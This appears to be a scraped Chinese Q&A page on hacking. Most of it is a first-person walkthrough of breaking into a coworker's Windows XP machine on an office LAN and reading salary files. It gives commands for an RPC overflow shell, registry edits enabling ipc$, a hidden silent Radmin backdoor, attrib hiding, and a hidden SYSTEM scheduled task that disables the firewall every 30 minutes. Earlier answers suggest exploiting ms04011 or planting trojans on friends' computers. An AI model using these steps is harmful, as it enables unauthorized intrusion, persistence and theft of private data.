为什么 *** 黑客能随便进入别人的电脑呢？
提起黑客，总是那么神秘莫测。在人们眼中，黑客是一群聪明绝顶，精力旺盛的年轻人，一门心思地破译各种密码，以便偷偷地、未经允许地打入 *** 、企业或他人的计算机系统，窥视他人的隐私。那么，什么是黑客呢？ \x0d\x0a\x0d\x0a黑客(hacker)，源于英语动词hack，意为“劈，砍”，引申为“干了一件非常漂亮的工作”。在早期麻省理工学院的校园俚语中，“黑客”则有“恶作剧”之意，尤指手法巧妙、技术高明的恶作剧。在日本《新黑客词典》中，对黑客的定义是“喜欢探索软件程序奥秘，并从中增长了其个人才干的人。他们不象绝大多数电脑使用者那样，只规规矩矩地了解别人指定了解的狭小部分知识。”由这些定义中，我们还看不出太贬义的意味。他们通常具有硬件和软件的高级知识，并有能力通过创新的 *** 剖析系统。“黑客”能使更多的 *** 趋于完善和安全，他们以保护 *** 为目的，而以不正当侵入为手段找出 *** 漏洞。 \x0d\x0a\x0d\x0a另一种入侵者是那些利用 *** 漏洞破坏 *** 的人。他们往往做一些重复的工作(如用暴力法破解口令)，他们也具备广泛的电脑知识，但与黑客不同的是他们以破坏为目的。这些群体成为“骇客”。当然还有一种人兼于黑客与入侵者之间。 \x0d\x0a\x0d\x0a一般认为，黑客起源于50年代麻省理工学院的实验室中，他们精力充沛，热衷于解决难题。60、70年代，“黑客”一词极富褒义，用于指代那些独立思考、奉公守法的计算机迷，他们智力超群，对电脑全身心投入，从事黑客活动意味着对计算机的更大潜力进行智力上的自由探索，为电脑技术的发展做出了巨大贡献。正是这些黑客，倡导了一场个人计算机革命，倡导了现行的计算机开放式体系结构，打破了以往计算机技术只掌握在少数人手里的局面，开了个人计算机的先河，提出了“计算机为人民所用”的观点，他们是电脑发展史上的英雄。现在黑客使用的侵入计算机系统的基本技巧，例如破解口令(password cracking)，开天窗(trapdoor)，走后门(backdoor)，安放特洛伊木马(Trojan horse)等，都是在这一时期发明的。从事黑客活动的经历，成为后来许多计算机业巨子简历上不可或缺的一部分。例如，苹果公司创始人之一乔布斯就是一个典型的例子。 \x0d\x0a\x0d\x0a在60年代，计算机的使用还远未普及，还没有多少存储重要信息的数据库，也谈不上黑客对数据的非法拷贝等问题。到了80、90年代，计算机越来越重要，大型数据库也越来越多，同时，信息越来越集中在少数人的手里。这样一场新时期的“圈地运动”引起了黑客们的极大反感。黑客认为，信息应共享而不应被少数人所垄断，于是将注意力转移到涉及各种机密的信息数据库上。而这时，电脑化空间已私有化，成为个人拥有的财产，社会不能再对黑客行为放任不管，而必须采取行动，利用法律等手段来进行控制。黑客活动受到了空前的打击。 \x0d\x0a\x0d\x0a但是， *** 和公司的管理者现在越来越多地要求黑客传授给他们有关电脑安全的知识。许多公司和 *** 机构已经邀请黑客为他们检验系统的安全性，甚至还请他们设计新的保安规程。在两名黑客连续发现网景公司设计的信用卡购物程序的缺陷并向商界发出公告之后，网景修正了缺陷并宣布举办名为“网景缺陷大奖赛”的竞赛，那些发现和找到该公司产品中安全漏洞的黑客可获1000美元奖金。无疑黑客正在对电脑防护技术的发展作出贡献。 \x0d\x0a\x0d\x0a2，黑客攻击 \x0d\x0a\x0d\x0a一些黑客往往回采取一些几种 *** ，但是我很想说的是，一个优秀的黑客绝不会随便攻击别人的。 \x0d\x0a\x0d\x0a1)、获取口令 \x0d\x0a\x0d\x0a这又有三种 *** ：一是通过 *** 监听非法得到用户口令，这类 *** 有一定的局限性，但危害性极大，监听者往往能够获得其所在网段的所有用户账号和口令，对局域网安全威胁巨大；二是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令，这种 *** 不受网段限制，但黑客要有足够的耐心和时间；三是在获得一个服务器上的用户口令文件(此文件成为Shadow文件)后，用暴力破解程序破解用户口令，该 *** 的使用前提是黑客获得口令的Shadow文件。此 *** 在所有 *** 中危害更大，因为它不需要像第二种 *** 那样一遍又一遍地尝试登录服务器，而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码，尤其对那些弱智用户(指口令安全系数极低的用户，如某用户账号为zys，其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内，甚至几十秒内就可以将其干掉。 \x0d\x0a\x0d\x0a2)、放置特洛伊木马程序 \x0d\x0a\x0d\x0a特洛伊木马程序可以直接侵入用户的电脑并进行破坏，它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载，一旦用户打开了这些邮件的附件或者执行了这些程序之后，它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中，并在自己的计算机系统中隐藏一个可以在windows启动时悄悄执行的程序。当您连接到因特网上时，这个程序就会通知黑客，来报告您的IP地址以及预先设定的端口。黑客在收到这些信息后，再利用这个潜伏在其中的程序，就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等，从而达到控制你的计算机的目的。 \x0d\x0a\x0d\x0a3)、WWW的欺骗技术 \x0d\x0a\x0d\x0a在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问，如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在：正在访问的网页已经被黑客篡改过，网页上的信息是虚假的！例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器，当用户浏览目标网页的时候，实际上是向黑 *** 务器发出请求，那么黑客就可以达到欺骗的目的了。 \x0d\x0a\x0d\x0a4)、电子邮件攻击 \x0d\x0a\x0d\x0a电子邮件攻击主要表现为两种方式：一是电子邮件轰炸和电子邮件“滚雪球”，也就是通常所说的邮件炸弹，指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件，致使受害人邮箱被“炸”，严重者可能会给电子邮件服务器操作系统带来危险，甚至瘫痪；二是电子邮件欺骗，攻击者佯称自己为系统管理员（邮件地址和系统管理员完全相同），给用户发送邮件要求用户修改口令（口令可能为指定字符串）或在貌似正常的附件中加载病毒或其他木马程序（据笔者所知，某些单位的 *** 管理员有定期给用户免费发送防火墙升级程序的义务，这为黑客成功地利用该 *** 提供了可乘之机)，这类欺骗只要用户提高警惕，一般危害性不是太大。 \x0d\x0a\x0d\x0a5)、通过一个节点来攻击其他节点 \x0d\x0a\x0d\x0a黑客在突破一台主机后，往往以此主机作为根据地，攻击其他主机(以隐蔽其入侵路径，避免留下蛛丝马迹)。他们可以使用 *** 监听 *** ，尝试攻破同一 *** 内的其他主机；也可以通过IP欺骗和主机信任关系，攻击其他主机。这类攻击很狡猾，但由于某些技术很难掌握，如IP欺骗，因此较少被黑客使用。 \x0d\x0a\x0d\x0a6)、 *** 监听 \x0d\x0a\x0d\x0a *** 监听是主机的一种工作模式，在这种模式下，主机可以接受到本网段在同一条物理通道上传输的所有信息，而不管这些信息的发送方和接受方是谁。此时，如果两台主机进行通信的信息没有加密，只要使用某些 *** 监听工具，例如NetXray for windows 95/98/nt，sniffit for linux 、solaries等就可以轻而易举地截取包括口令和帐号在内的信息资料。虽然 *** 监听获得的用户帐号和口令具有一定的局限性，但监听者往往能够获得其所在网段的所有用户帐号及口令。 \x0d\x0a\x0d\x0a7)、寻找系统漏洞 \x0d\x0a\x0d\x0a许多系统都有这样那样的安全漏洞(Bugs)，其中某些是操作系统或应用软件本身具有的，如Sendmail漏洞，win98中的共享目录密码验证漏洞和IE5漏洞等，这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏，除非你将网线拔掉；还有一些漏洞是由于系统管理员配置错误引起的，如在 *** 文件系统中，将目录和文件以可写的方式调出，将未加Shadow的用户密码文件以明码方式存放在某一目录下，这都会给黑客带来可乘之机，应及时加以修正。 \x0d\x0a\x0d\x0a8)、利用帐号进行攻击 \x0d\x0a\x0d\x0a有的黑客会利用操作系统提供的缺省账户和密码进行攻击，例如许多UNIX主机都有FTP和Guest等缺省账户(其密码和账户名同名)，有的甚至没有口令。黑客用Unix操作系统提供的命令如Finger和Ruser等收集信息，不断提高自己的攻击能力。这类攻击只要系统管理员提高警惕，将系统提供的缺省账户关掉或提醒无口令用户增加口令一般都能克服。 \x0d\x0a\x0d\x0a9)、偷取特权 \x0d\x0a\x0d\x0a利用各种特洛伊木马程序、后门程序和黑客自己编写的导致缓冲区溢出的程序进行攻击，前者可使黑客非法获得对用户机器的完全控制权，后者可使黑客获得超级用户的权限，从而拥有对整个 *** 的绝对控制权。这种攻击手段，一旦奏效，危害性极大
怎么样才能攻击局域网电脑
想和局域网内朋友玩玩小闹剧，捉弄下他们，怎样才能攻击他们电脑呢?下面由我给你做出详细的攻击局域网电脑 *** 介绍!希望对你有帮助!
攻击局域网电脑 *** 一：
P2P要会用才可以的，还有 *** 神盾 试试把 原理和P2P不是很一样
还有就是用攻击工具拉 你机器的性能要好过对方的机器 这个会导致整个 *** 掉线
你要上网稳定就上路由给他限制下就可以了， 然后你在安装一个彩影arp防火墙
限速要有路由限制(使用P2P限制，人家安装了彩影你也没办法的) 人家对你的工具 有arp防火墙 抵御
但是这样的 *** 对于 主机克隆类的 还是防御不了 还有内网攻击也是防御不了的
建议购买新的产品 这里我推荐 欣向(nuqx) 的产品 效果很好。
攻击局域网电脑 *** 二：
你可以用反P2P终结者，再开你的P2P终结者，他就用不了，
说真的，别的你都不想做的话，就去扁他，欺善怕恶是人的本性。
攻击局域网电脑 *** 三：
这东西应该去黑客论坛问
不过你既然问了...
就稍微透漏一点
声明
我只指点一二 具体个人领悟
提供一个软件
ms04011 你去百度搜就明白了
很好用的一个漏洞 90%可以入侵
想干什么干什么
如果你们是一个寝室的 我指你们在很近的地方
你还是直接上他机器放木马吧
有杀毒就给他关了去 简单好用
局域网入侵命令有哪些？
先打开命令提示符，用ping命令去ping它，Replyfrom192.168.16.4:bytes=32time1msTTL=128，说明对方没有防火墙，这样或许有可能入侵。
下一步，我使用了X-SCAN3.2对它进行了详细扫描,对方电脑的操作系统是XP，大家知道XP系统是相当安全的，在一些黑客论坛讨论的关于入侵XP的话题也是比较多的，入侵这样的系统 *** 只有两种，一是采用钓鱼的 *** ，这是一种被动的方式让对方中木马来控制它。
第二种 *** 就是如果对方有比较严重的漏洞，如RPC溢出
先打开命令提示符，用ping命令去ping它，Replyfrom192.168.16.4:bytes=32time1msTTL=128，说明对方没有防火墙，这样或许有可能入侵。下一步，我使用了X-SCAN3.2对它进行了详细扫描,对方电脑的操作系统是XP，大家知道XP系统是相当安全的，在一些黑客论坛讨论的关于入侵XP的话题也是比较多的，入侵这样的系统 *** 只有两种，一是采用钓鱼的 *** ，这是一种被动的方式让对方中木马来控制它。第二种 *** 就是如果对方有比较严重的漏洞，如RPC溢出。这样的话，用溢出程序溢出它，然后再上传控制程序进行控制。扫描结果确实让我高兴了一阵,对方电脑有大量的漏洞,其中一个比较有名的就是冲击波利用的RPC漏洞,这个漏洞相当出名了,03年的时候曾席卷全球。知道了它有这个漏洞，下一步就要找溢出程序，这让我忙活了好一阵时间，因为有的溢出程序对这台电脑好像无效。这些工具的名称我都记不起来了，反正有好几个。最后找到了一个溢出程序XP.EXE，这个程序终于溢出了那台电脑。得到了个CMDSHELL。这算是一个小小的胜利吧。
得到了CMDSHELL，我该怎样给它上传控制程序呢？我想了一会儿，终于灵感来了，我和它在一个局域网，用共享上传最方便了。于是打开网上邻居，查看工作组计算机，找到这台电脑，双击，进不去，提示信息我记不清了，据我分析可能是对方这台电脑没有运行 *** 安装向导，因为是XP系统，所以要用共享传输文件，必须要运行这个向导不可，运行这个向导作用就是配置一个本地安全策略，你可以打开“控制面板—管理工具—本地安全策略”，展开“本地策略”—“用户权利指派”。在右边有一个安全策略—“拒绝从 *** 访问这台计算机”。我想对方的电脑中相应的这条策略里，肯定设置有GUEST这个用户的，这就是为什么我打不开它的共享的原因，因为共享访问默认是以这个GEUST用户登录的，因为它的安全设置不允许GUEST从 *** 访问，所以我才访问不了它的共享。因为XP默认的共享模式是简单文件共享。这与WIN2000系统不同，如果是WIN2000系统，你在知道管理员密码的情况下，可以用命令netuseIPipc$"密码"/user:用户名建立与对方的ipc$连接，随之而来的就是copy木马程序ipd$这样的命令上传木马了。XP就不能这样子了，你即使知道它的管理员密码用上面的命令与不能建立ipc$连接。这就是为什么XP比2000系统安全的地方所在。下面我要作的就是要修改XP的共享模式为2000的共享模式。 *** 如下：在溢出获得的CMDSHELL下，键入命令：
echoWindowsRegistryEditorVersion5.00c:123.reg
echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]c:123.reg
echo.c:123.reg
echo"forceguest"=dword:00000000c:123.reg
regedit/ec:123.reg
等打完这几条命令后，对方XP的共享模式就已经与2000的相同了。我来解释一下这几条命令的含意，echoWindowsRegistryEditorVersion5.00c:123.reg这条命令是将WindowsRegistryEditorVersion5.00这几个字符保存到c:123.reg文件里。大家需要注意一下之一句的和后面几句的这是有区别的，字符是覆盖式的，是追加式的，第三句的echo.c:123.reg命令是追加一个空白行，这句挺重要，如果不加这句是不能成功的，你可以随便打开一个注册表文件看一下，格式就是这样的，第二行是空着的。这一点一定要注意。执行完前四条命令后就在对方C盘下生成一个123.reg文件，内容如下：
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]
"forceguest"=dword:00000000
第五条命令是将这个REG文件导入到注册表中。这样执行完这五条命令后，我就可以像操作2000系统一样去用ipc$控制了。下一步，上传控制程序。我选择的是RADMIN2.0的服务程序，有人问这个安装需要到图形界面下，我说不用这么费事，在CMDSHELL下一样可以安装。安装前我们需要先准备一下，首先生成一个REG文件，文件名：aaa.reg内容如下：
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters]
"DisableTrayIcon"=hex:01,00,00,00
作用就是使生成的服务端程序能够隐藏通知栏里的图标，我们都知道正常安装RADMIN服务端程序后，在通知栏里是有一个小图标的，我们要入侵人家，当然要把这个小图标去掉，不然是会被发现的。接着生成一个BAT文件，我命名为aaa.bat，内容如下：
r_server/install/silence
r_server.exe/port:2233/pass:1/save/silence
regedit.exe/saaa.reg
netstartr_server
这些命令是安装命令，设置连接端口为：2233密码是：1隐藏安装界面的方式安装然后就是将aaa.reg导入注册表，启动r_server服务。
准备工作作好后，就要上传文件了，一共需上传4个文件，aaa.regaaa.batr_server.exeadmdll.dll后两个文件是RADMIN安装目录下的，在安装了RADMIN2.0客户端后，安装目录里就有这两个文件。我先建立ipc$连接netuse192.168.16.4ipc$""/user:administrator提示：命令成功完成。接着:
copyr_server192.168.1.4admin$system32
copyaaa.bat192.168.1.4admin$system32
copyaaa.reg192.168.1.4admin$system32
copyadmdll.dll192.168.1.4admin$system32
然后再进入溢出得到的CMDSHELL下键入：
attrib+s+h+rc:windowssystem32r_server.exe
attrib+s+h+rc:windowssystem32admdll.exe
attrib+s+h+rc:windowssystem32aaa.bat
attrib+s+h+rc:windowssystem32aaa.reg
这些命令是将这4个文件设置成系统隐藏只读文件，不容易被对方管理员发现。
下一步就是运行aaa.bat了，就这么简单，运行成功后，我用radmin2.0客户端设置了一下连接参数，端口改成2233，连接成功，密码是1，成功地看到了对方的屏幕。呵呵，成功了，从有入侵的想法到入侵成功进行控制，只用了短短的4天时间。
进入后看到对方电脑上正在玩 *** 保皇游戏，不过我也犯了个错误我给它新建了个管理用户，原先是打算用于ipc$连接用的，可我上传RADMIN控制后忘记删掉了，我在溢出的CMDSHELL下不小心键入了命令EXIT，结果对方电脑出现了倒计时关机的界面，我也没有及时处理掉，我当时要是用RADMIN的CMD功能，键入命令shutdown-A就可以取消这个倒计时关机的界面，可当时我也没有及时处理，导致对方电脑重启了，重启后我估计对方管理员看到了我新建的用户了，后来我用RADMIN远程查看时，也觉得这个新建用户太招摇了，用户名就是ip$,图标是个大红的花朵。
下午的时候我发现那台电脑的管理员请了位高手来助阵了，因为我们这个局域网中的各台电脑都通过我们办公室里的那台电脑连接到互联网上，所以，那位高手先到我们办公室电脑上查看了一番没有发现问题后，他将原先安装的江民换成了卡巴了，我估计他认为攻击是来自互联网上，岂不知黑客就在他眼皮底下，嘿嘿。。。。那位高手又给被我控制了的电脑上安装了卡巴，原先的杀毒软件是诺顿，对WINDOWS也进行了更新，可这些作法都晚了，因为我已经控制你了,再打补丁也无用了。经过那位高手一番检查与修补后，我的后门依然存在着，看来那位高手水平也不怎么样。我给它开放的ipc$功能，他也没发现。也许他只认为是一次简单的病毒攻击，而掉以轻心了，而不知他的一举一动都在我的监视之下。哈哈。。。
接下来的工作对我来说就比较简单了，给它开telnet服务器，开“远程桌面”这个我采用的是图形的方式进行操作的，中午下班后我等这台计算机管理员走后，用RADMIN登录进去进行了一些设置工作。后来也通过RADMIN的文件管理功能翻看了这台电脑上的文件，有一些财务报表，工资表之类的东西，这些对我来看没什么大的吸引力。不过我看到了我们集团老总的工资，每月一万多块钱呢！！好黑啊。。。这么多，我工资只有区区几百块，真是太不公平了，愤愤不平中。。。。
后来一次通过RADMIN操作对方的电脑时不小心被管理员发现了，我想对方的管理员也很感到意外，windows的补丁打上了，还装了强悍的卡巴，还是搞不定黑客！！哈哈，因为卡巴不是杀RADMIN的。后来对方那个管理员启用了局域网“本地连接”中的防火墙功能，这样我无法连接它的电脑了。因为RADMIN是正向连接的，所以在对方开防火墙的情况下是无法使用的。有一次下午下班后我无意地ping了一下这台电脑的IP，居然有返回。说明对方防火墙关闭了，我马上用RADMIN连接，居然成功。我晕。。。原来对方只开了防火墙，并没有发现这个明显的后门。我想开防火墙也是那位电脑高手给搞的，依那个管理员的水平是想不到这个办法的。不过telnet服务器给关闭了，3389远程桌面也给关了，共享模式也被修改回了原先的样子。看来那位高手也是发现了一些漏洞并补上了，但是那个后门，他却没有发现，这就给我创造了第二次入侵的机会。他有政策我有对策，他可以开防火墙，我可以给他关掉，有人问要是再被管理员开启了防火墙，那岂不是没得玩了。哈哈。。。我下面给出一个我自己研究出来的独门密方，保证百病！哈哈。。。。
我的 *** 是创建一个隐藏的计划任务。让这个计划任务每隔半个小时杀除一遍防火墙，这样即使对方管理员打开防火墙也起不了什么作用。 *** 如下：先建一个批处理文件abc.bat，放在c:windowssystem32目录下,内容如下：
netstopsharedaccess
当然也可以附加点别的，比如说你想半小时杀除一遍天网防火墙，可以再加上下面的命令：
taskkill/IMrfw.exe/f
如果想使共享模式是高级共享模式，可以再加上下面的命令：
regedit/ec:windowssystem32abc.reg
当然这需要事先上传一个abc.reg到它的c:windowssystem32目录下，内容如下：
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]
"forceguest"=dword:00000000
下面我说一下创建隐藏计划任务的 *** ：
在对方电脑的CMDSHELL下键入命令：
schtasks/create/tn"常驻"/trc:windowssystem32abc.bat/scminute/mo30/ru"system"
这样就在对方电脑上建立了一个以SYSTEM权限运行的计划任务，这个计划任务每隔30分钟运行一次c:windowssystem32abc.bat,功能嘛，就是根据abc.bat里面的命令行决定了，可以说这个新发现是相当厉害的，利用的巧妙，功能可以相当强大。如果只有这样还不能达到隐藏的要求，你打开控制面板—任务计划，仍然可以发现它的存在。好的，下面说说隐藏它的 *** 。还是进入CMDSHELL中。键入命令attrib+hc:windowstasks常驻.job回车后，你再到控制面板的任务计划中看一下是不是以前的任务消失了。这只是表面消失，实际是它还是存在的。你可以在CMDSHELL下键入命令：schtasks查看。这样不管对方管理员怎样修改设置，每隔半小时就又会补修改回来。它想摆脱我的控制可说是难上加难了。
局域网为什么不怕黑客入侵?
局域网被攻击的可能性相对较小
内网服务器容易被攻击，能进攻一个直接连接的电脑已经算黑客里不错的了； 就病毒或者木马而言，局域网也是一样相对难以攻击； 病毒在编写的时候也需要考虑到内网的可能性；这就意味需要编写更多的代码和考虑更多的情况；你们别告诉我一个可以同时直接攻击和攻击后再在局域网传播的病毒代码是一样的，或者局域网的更少； 综上所诉，局域网被攻击的可能性相对较小，但这个小并不是很明显；因为大多数病毒都会考虑局域网传播这个可能。
黑客在没有 *** ，但是有局域网的情况下可以操控电脑嘛？
如果你的局域网是没有外网链接，99%的黑客，是无法直接控制你的电脑的。
1、可能你机子本身中了病毒，看起来像有人在操控一样。
2、可能局域网内有别的电脑连接了互联网，这样入侵就有可能实现。
3、黑客就在局域网。
黑客再厉害，也是需要基本条件的。就是他的电脑和你的电脑要连起来。